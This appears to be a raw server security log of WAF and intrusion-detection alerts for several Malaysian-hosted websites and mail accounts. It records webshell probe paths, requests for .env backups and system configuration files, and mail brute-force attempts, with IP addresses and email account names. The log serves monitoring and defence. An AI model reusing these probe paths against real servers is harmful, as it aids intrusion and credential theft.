abuser: 47.246.171.248
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.195
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.129
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/type-writter.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.219
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.187
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.207
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.164
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.9 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.241
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-01-30 07:29:42 dovecot_plain authenticator failed for H=(wargo) [65.20.205.197]:42646: 535 Incorrect authentication data (set_id=info@printspecsolution.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:30:40 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:32:46 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.122.209.162
country_id: 3437598
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/header.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.252.146
country_id: 248816
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/works.html HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.229.12.126
country_id: 3703430
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/slick/slick.min.js HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.9
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-35.92.71.72.9||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:35:07 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 199.45.155.106
country_id: 6252001
description:
2026-01-30  7:35:07 958600 [Warning] Aborted connection 958600 to db: 'unconnected' user: 'unauthenticated' host: '199.45.155.106' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.2.22
country_id: 3996063
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/js/script.js HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.122.7.2
country_id: 3437598
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/js/jquery-3.6.0.min.js HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.130.220.250
country_id: 2017370
domain: pspoly.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-35.188.130.220.250||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:36:14 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.61.175.33
country_id: 3175395
description:
2026-01-30 07:36:38 dovecot_login authenticator failed for H=res-72689d.ppp.twt.it (res-100030d.ppp.twt.it) [217.61.175.33]:54336: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 07:37:14 H=(localhost.localdomain) [45.150.192.143]:32778 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:38:19 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/malaysia-infinity-design-projects/images/index.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 30 07:39:17 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 07:39:19 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:51665: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:40:40 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-01-30 07:41:29 dovecot_login authenticator failed for H=([14.42.47.150]) [14.42.47.150]:20501: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:41:48 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 07:42:39 H=([64.89.160.15]) [64.89.160.15]:55006 F=<essential@mailling.uk> rejected RCPT <miya@hmz.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/images/home/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.49.202.4
country_id: 3508796
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/templates/32readwriteLineStackedChart2.xlsx HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.183.197.175
country_id: 6252001
description:
2026-01-30 07:43:25 dovecot_login authenticator failed for H=([127.0.0.1]) [75.183.197.175]:51490: 535 Incorrect authentication data (set_id=info@pftfood.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.120
country_id: 2750405
description:
2026-01-30  7:43:48 958853 [Warning] Aborted connection 958853 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.120' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:43:53 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.61.197.53
country_id: 6251999
description:
2026-01-30 07:43:17 dovecot_login authenticator failed for H=(ADMIN) [179.61.197.53]:51395: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.27.139
country_id: 6252001
description:
Jan 30 07:44:16 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.27.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-01-30 07:44:18 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net [71.235.27.139]:33814: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 07:44:45 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53830: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.243.122.248
country_id: 3469034
domain: www.tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tschuan.com/sludge-thick.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 07:45:03 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53833: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 07:46:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53058: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:46:14 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 156.253.1.54
country_id: 2750405
domain: www.printspecsolution.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:printspecsolutio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:47:21 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 07:48:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54219: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.120
country_id: 2750405
description:
2026-01-30  7:49:10 959002 [Warning] Aborted connection 959002 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.120' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:49:27 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 07:49:30 H=(localhost.localdomain) [45.150.192.143]:45590 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.203.56.101
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=25301515570441 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.120
country_id: 2750405
description:
2026-01-30  7:50:46 959055 [Warning] Aborted connection 959055 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.120' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.126.98
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=3054 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:51:48 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.43
country_id: 798544
description:
Jan 30 07:51:35 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.144.155
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=31&sub=86 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:52:57 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.237.205
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=8097 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 07:52:12 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54252: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/photos/img/photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.229.243.135
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/yaml/Tests/Fixtures/booleanMappingKeys.yml HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 07:54:15 H=(localhost.localdomain) [45.150.192.143]:49382 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.242.47
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=8842 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:55:04 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.233.43.72
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=30&sub=83 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.3
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/cache/man/da/index.db||User:root||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.113.246
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-56.108.165.113.246||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:57:27 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:58:36 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.44.118
country_id: 1269750
description:
Jan 30 07:58:57 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.44.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.118
country_id: 1269750
description:
2026-01-30 07:58:59 dovecot_login authenticator failed for H=([103.163.44.118]) [103.163.44.118]:42370: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.208.13.155
country_id: 6252001
description:
2026-01-30 07:59:37 dovecot_login authenticator failed for H=([127.0.0.1]) [47.208.13.155]:52562: 535 Incorrect authentication data (set_id=info@eminent.st)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 07:59:33 H=([64.89.160.15]) [64.89.160.15]:58334 F=<essential@mailling.uk> rejected RCPT <janice@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.115.144.103
country_id: 3469034
description:
Jan 30 07:59:19 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.115.144.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.115.144.103
country_id: 3469034
description:
2026-01-30 07:59:21 dovecot_login authenticator failed for H=(buenosnet.static.gvt.net.br) [187.115.144.103]:43406: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:00:43 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 08:00:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54345: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.46.173.51
country_id: 2510769
description:
Jan 30 08:01:20 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.46.173.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.46.173.51
country_id: 2510769
description:
2026-01-30 08:01:22 dovecot_login authenticator failed for H=51.red-83-46-173.dynamicip.rima-tde.net [83.46.173.51]:41729: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.250.163
country_id: 99237
description:
Jan 30 08:01:57 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.250.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-01-30 08:01:59 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:48216: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.98.16
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=35911522744168 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.94.114
country_id: 2623032
description:
2026-01-30 08:02:14 dovecot_login authenticator failed for H=(ADMIN) [188.126.94.114]:22249: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.135.145.112
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phar-io/manifest/tests/ManifestLoaderTest.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.101.126.153
country_id: 953987
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/part-accessories.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.5
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/dbus-1/system.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:03:04 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.92.228
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=18391515043506 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.84.68
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=45151515376407 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:04:12 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.6
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/selinux/semanage.conf||User:root||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/security/chroot.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:06:16 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.36
country_id: 1269750
description:
Jan 30 08:06:23 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 08:06:25 dovecot_login authenticator failed for H=(nsg-corporate-36.229.187.122.airtel.in) [122.187.229.36]:59364: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
